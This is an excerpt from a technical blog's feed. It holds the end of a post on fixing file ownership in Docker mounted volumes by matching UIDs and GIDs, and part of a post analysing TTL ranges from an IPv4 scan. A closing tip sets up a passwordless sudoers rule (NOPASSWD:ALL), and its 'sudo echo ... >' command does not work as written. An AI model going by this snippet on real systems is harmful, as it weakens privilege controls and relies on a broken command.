-rw-r--r--&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;sys&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="m"&gt;52&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;22&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;14&lt;/span&gt;:23&lt;span class="w"&gt; &lt;/span&gt;.gitignore
-rw-r--r--&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;sys&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.9K&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;30&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;21&lt;/span&gt;:10&lt;span class="w"&gt; &lt;/span&gt;Makefile
drwxr-xr-x&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;26&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;sys&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.0K&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;02&lt;/span&gt;:22&lt;span class="w"&gt; &lt;/span&gt;posts
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="how-to-fix-this"&gt;How to fix this?&lt;/h2&gt;
&lt;p&gt;We need a &lt;em&gt;common&lt;/em&gt; user and group in the host and container with the same UID and GID in both worlds.&lt;/p&gt;
&lt;p&gt;In the scenario 1 we need to create an user and a group inside the container with the same UID/GID that the one from the host (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="m"&gt;1001&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="m"&gt;1024&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; respectively)&lt;/p&gt;
&lt;p&gt;In the scenario 1 we are lucky: the UID/GID &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="m"&gt;1001&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;/&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="m"&gt;1024&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; are not assigned to any user/group so we can create the user &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;alice&lt;/span&gt;&lt;/code&gt; and the group &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;develop&lt;/span&gt;&lt;/code&gt; in the container and that’s it.&lt;/p&gt;
&lt;p&gt;The scenario 2 is more complex because the UID/GID are already assigned. We will have to create a totally new user/group, both in the host and the container, to fix this.&lt;/p&gt;
&lt;p&gt;Because the scenario 1 is a special subset of the scenario 1, I will describe how to fix the scenario 2.&lt;/p&gt;
&lt;p&gt;First, pick a UID/GID that is not used either in the host nor in the container.&lt;/p&gt;
&lt;p&gt;&lt;label for='CkknbSB1c2luZyBkaWZmZXJlbnQgbnVtYmVycyB0byBtYWtlIGl0IGVhc2llciB0byByZWFkIGJ1dCBpdCBpcyBub3QKbmVjZXNzYXJ5LiBZb3UgY291bGQgdXNlIHRoZSBzYW1lIG51bWJlciBmb3IgdGhlIFVJRCBhbmQgdGhlIEdJRCB3aXRob3V0CnByb2JsZW1zLgoKWW91IGNhbiBza2lwIHRoaXMgc3RlcCBmb3IgdGhlIHNjZW5hcmlvIDEgYW5kIHVzZSB0aGUgb3JpZ2luYWwgVUlEL0dJRApgMTAwMWAvYDEwMjRgCm1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkknbSB1c2luZyBkaWZmZXJlbnQgbnVtYmVycyB0byBtYWtlIGl0IGVhc2llciB0byByZWFkIGJ1dCBpdCBpcyBub3QKbmVjZXNzYXJ5LiBZb3UgY291bGQgdXNlIHRoZSBzYW1lIG51bWJlciBmb3IgdGhlIFVJRCBhbmQgdGhlIEdJRCB3aXRob3V0CnByb2JsZW1zLgoKWW91IGNhbiBza2lwIHRoaXMgc3RlcCBmb3IgdGhlIHNjZW5hcmlvIDEgYW5kIHVzZSB0aGUgb3JpZ2luYWwgVUlEL0dJRApgMTAwMWAvYDEwMjRgCm1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
I’m using different numbers to make it easier to read but it is not necessary. You could use the same number for the UID and the GID without problems.
&lt;br /&gt;&lt;br /&gt;
You can skip this step for the scenario 1 and use the original UID/GID &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="m"&gt;1001&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;/&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="m"&gt;1024&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;For example, let’s pick &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="m"&gt;1201&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; for the UID and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="m"&gt;1224&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; for the group.&lt;/p&gt;
&lt;p&gt;We can check this running &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;grep&lt;/span&gt;&lt;/code&gt; and getting a 0 response that means that the id was not found (so it is not used)&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;host&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1201&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/etc/passwd
&lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="o"&gt;(&lt;/span&gt;host&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1224&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/etc/group
&lt;span class="m"&gt;0&lt;/span&gt;

&lt;span class="o"&gt;(&lt;/span&gt;container&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1201&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/etc/passwd
&lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="o"&gt;(&lt;/span&gt;container&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1224&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/etc/group
&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;With a free UID/GID we need to create a group and an user with those ids&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;container&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;groupadd&lt;span class="w"&gt; &lt;/span&gt;-g&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1224&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;devel2
&lt;span class="o"&gt;(&lt;/span&gt;container&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;useradd&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;/bin/bash&lt;span class="w"&gt; &lt;/span&gt;-u&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1201&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-M&lt;span class="w"&gt; &lt;/span&gt;-g&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1224&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;alice2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;These creates a group named &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;devel2&lt;/span&gt;&lt;/code&gt; with GID of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="m"&gt;1224&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and an user named &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;alice2&lt;/span&gt;&lt;/code&gt; with UID of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="m"&gt;1201&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. &lt;em&gt;Yes, I’m not very creative with the names.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;-M&lt;/span&gt;&lt;/code&gt; says that you don’t want a home folder and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;-s&lt;/span&gt;&lt;/code&gt; sets the user’s shell to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;/bin/bash&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;label for='CllvdSBjYW4gc2tpcCB0aGlzIHN0ZXAgZm9yIHRoZSBzY2VuYXJpbyAxIGFzIHlvdSBjYW4gdXNlIGBhbGljZWAgYW5kCmBkZXZlbGAKbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CllvdSBjYW4gc2tpcCB0aGlzIHN0ZXAgZm9yIHRoZSBzY2VuYXJpbyAxIGFzIHlvdSBjYW4gdXNlIGBhbGljZWAgYW5kCmBkZXZlbGAKbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
You can skip this step for the scenario 1 as you can use &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;alice&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;devel&lt;/span&gt;&lt;/code&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Now we do the same in the &lt;em&gt;host&lt;/em&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;host&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;groupadd&lt;span class="w"&gt; &lt;/span&gt;-g&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1224&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;devel2
&lt;span class="o"&gt;(&lt;/span&gt;host&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;useradd&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;/bin/bash&lt;span class="w"&gt; &lt;/span&gt;-u&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1201&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-M&lt;span class="w"&gt; &lt;/span&gt;-g&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1224&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;alice2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Finally change the ownership of the shared files running&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;host&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;chown&lt;span class="w"&gt; &lt;/span&gt;-R&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1201&lt;/span&gt;:1224&lt;span class="w"&gt; &lt;/span&gt;/home/user/blog
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now before working with the files you need to log in as &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;alice2&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;host&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;su&lt;span class="w"&gt; &lt;/span&gt;alice2

&lt;span class="o"&gt;(&lt;/span&gt;container&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;su&lt;span class="w"&gt; &lt;/span&gt;alice2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This applies to both the host and container.&lt;/p&gt;
&lt;p&gt;Once logged in it may be convenient to set your &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;HOME&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;host&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;HOME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/home/alice
&lt;span class="o"&gt;(&lt;/span&gt;container&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;HOME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/wd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="why-a-simplest-chownchmod-does-not-work"&gt;Why a simplest &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;chown&lt;/span&gt;&lt;/code&gt;/&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;chmod&lt;/span&gt;&lt;/code&gt; does not work?&lt;/h2&gt;
&lt;p&gt;On internet the solution to the &lt;em&gt;“permission problem”&lt;/em&gt; is to run &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;chmod&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;You run &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;chmod&lt;/span&gt;&lt;/code&gt; in the container to add a read-write-exec permissions ot &lt;em&gt;everyone&lt;/em&gt;. Indeed any user, from the host or container, will be able to work with those files.&lt;/p&gt;
&lt;p&gt;But what happen if you add a new shared file? That will have the user ownership and default permissions and you will not be able to use it in the host/container.&lt;/p&gt;
&lt;p&gt;Not a stable fix, and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="m"&gt;0777&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; looks suspicious.&lt;/p&gt;
&lt;p&gt;Running &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;chown&lt;/span&gt;&lt;/code&gt; to change the ownership is even more messier because you may change and set the &lt;em&gt;“correct”&lt;/em&gt; user/group inside the container but you will be scrubbing the scenario in the host.&lt;/p&gt;
&lt;p&gt;The ownership is not the problem. The permission are not the problem. Who to interpret the UID/GID &lt;strong&gt;is&lt;/strong&gt; the problem.&lt;/p&gt;
&lt;h2 id="bonus-track-to-be-a-sudoer"&gt;(bonus track) To be a sudoer&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;$ sudo groupadd admin
$ sudo echo &amp;#39;%admin  ALL=(ALL) NOPASSWD:ALL&amp;#39; &amp;gt; /etc/sudoers.d/admin
$ sudo chmod 0400 /etc/sudoers.d/admin

$ sudo usermod -aG admin alice2
$ sudo usermod -aG sudo alice2&lt;/code&gt;&lt;/pre&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2022/02/01/Fix-Ownership-of-Files-in-a-Mounted-Volume.html" rel="alternate" type="text/html" title="Fix Ownership of Files in a Mounted Volume"/>
    <category term="docker" label="docker"/>
    <published>2022-02-01T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/11/13/IPv4-Scan-Part-V-TTL-Boost.html</id>
    <title>IPv4 Scan 2021 - TTL Boost (or reset)</title>
    <updated>2021-11-13T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;In &lt;a href="/articles/2021/10/16/IPv4-Scan-Part-III-Hop-stability.html"&gt;the post about Hop-Stability&lt;/a&gt; we analyzed the TTL of the responses from all the scanned hosts.&lt;/p&gt;
&lt;p&gt;In particular we used the TTL range: the difference between the smallest and the greatest TTL seen per host.&lt;/p&gt;
&lt;p&gt;With a range of 0 or very close we claimed that the route to the host was stable; with range larger than 7 we said the contrary.&lt;/p&gt;
&lt;p&gt;The analysis shown that only 0.39998% of 43056567 unique hosts had unstable routes.&lt;/p&gt;
&lt;p&gt;However the analysis was only using a few statistics, when we plot the &lt;em&gt;histogram of TTL ranges&lt;/em&gt; we see much more &lt;strong&gt;mysteries to solve&lt;/strong&gt;.&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="ttl-range-histogram-how-much-stable-is-a-route-in-a-longer-period---revised"&gt;TTL range histogram (how much stable is a route in a longer period? - revised)&lt;/h2&gt;
&lt;p&gt;We can plot &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;multirounds_range&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; in a histogram. Recap that &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;multirounds_range&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is the range of TTLs, that means &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;rounds_ttl&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="ss"&gt;:max&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rounds_ttl&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="ss"&gt;:min&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;; a quick histogram was shown before as &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;hist_biased&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Histogram of TTL range between rounds of scans to the same host showing how much stable the routes are.
&lt;br /&gt;&lt;br /&gt;
The dataset does not include hosts scanned only once. The vertical axis is in logarithmic scale.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: 100%;" class='' align='middle' data='/img/network/internet_scan/multirounds_ttl_range_unbiased__hist.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The histogram may be misleading at first but remember that the vertical axis is in &lt;em&gt;logarithmic scale&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;That means that the main peak at 0 is almost 3 orders of magnitude larger than the three secondary peaks on the right.&lt;/p&gt;
&lt;p&gt;This is compatible with the analysis made previously: the routes are highly stable and only a small fraction (0.39998%) are unstable with a large variance (represented by the right side of the histogram).&lt;/p&gt;
&lt;p&gt;But the histogram shows some interesting features.&lt;/p&gt;
&lt;h3 id="peaks"&gt;Peaks&lt;/h3&gt;
&lt;p&gt;Now we find where the local maxima are. We use a window of 40 to filter any peak that it is not high enough.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;strict&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is crucial because &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;argmaxima&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; ignores any peak that it is too close on the edges (for which a full window cannot be computed). Without this, the peak at 0 would be lost.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hist&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Histogram&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;convert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Vector&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="kt"&gt;Int32&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;multirounds_range&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;:range&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nbins&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;julia&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argmaxima&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hist&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;weights&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strict&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;element&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;Vector&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="kt"&gt;Int64&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;63&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;127&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;191&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;argmaxima&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; returns the indexes where the peaks were found in the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;bins&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; vector created.&lt;/p&gt;
&lt;p&gt;Julia’s vectors are 1-based indexed but those indexes also represent the TTL range values where the peak were found &lt;strong&gt;except&lt;/strong&gt; that they are shifted by 1.&lt;/p&gt;
&lt;p&gt;In short, a peak at index &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; means a peak for the TTL range of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;That’s why we do a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;.-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Back to the numbers, &lt;em&gt;what the hell do those peaks mean?&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="analysis-of-the-3-secondary-peaks"&gt;Analysis of the 3 secondary peaks&lt;/h2&gt;
&lt;p&gt;&lt;label for='PG9iamVjdCBzdHlsZT0id2lkdGg6IDEwMCU7IiBjbGFzcz0nZnVsbHdpZHRoJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL25ldHdvcmsvaW50ZXJuZXRfc2Nhbi9tdWx0aXJvdW5kc190dGxfcmFuZ2VfdW5iaWFzZWRfX2hpc3Quc3ZnJyB0eXBlPSdpbWFnZS9zdmcreG1sJz48L29iamVjdD5tYXJnaW4=' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PG9iamVjdCBzdHlsZT0id2lkdGg6IDEwMCU7IiBjbGFzcz0nZnVsbHdpZHRoJyBhbGlnbj0nbWlkZGxlJyBkYXRhPScvaW1nL25ldHdvcmsvaW50ZXJuZXRfc2Nhbi9tdWx0aXJvdW5kc190dGxfcmFuZ2VfdW5iaWFzZWRfX2hpc3Quc3ZnJyB0eXBlPSdpbWFnZS9zdmcreG1sJz48L29iamVjdD5tYXJnaW4=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;object style="width: 100%;" class='fullwidth' align='middle' data='/img/network/internet_scan/multirounds_ttl_range_unbiased__hist.svg' type='image/svg+xml'&gt;&lt;/object&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Let’s ignore the peak at 0 (those are the stable routes). Why do we have 3 secondary peaks?&lt;/p&gt;
&lt;p&gt;Focus on the peak at TTL range of 191 (the right most).&lt;/p&gt;
&lt;p&gt;That means that we have a host that in some moment had a TTL of \(m\) and later it had a TTL of \(M\).&lt;/p&gt;
&lt;p&gt;Then, the range for that host is \(M-m = 191\).&lt;/p&gt;
&lt;p&gt;That happen for several hosts, probably each having a &lt;strong&gt;different&lt;/strong&gt; \(M\) and \(m\) but all ended up having the &lt;strong&gt;same&lt;/strong&gt; range of 191.&lt;/p&gt;
&lt;p&gt;Let’s assume that one of those hosts is a Windows with a default TTL of 128.&lt;/p&gt;
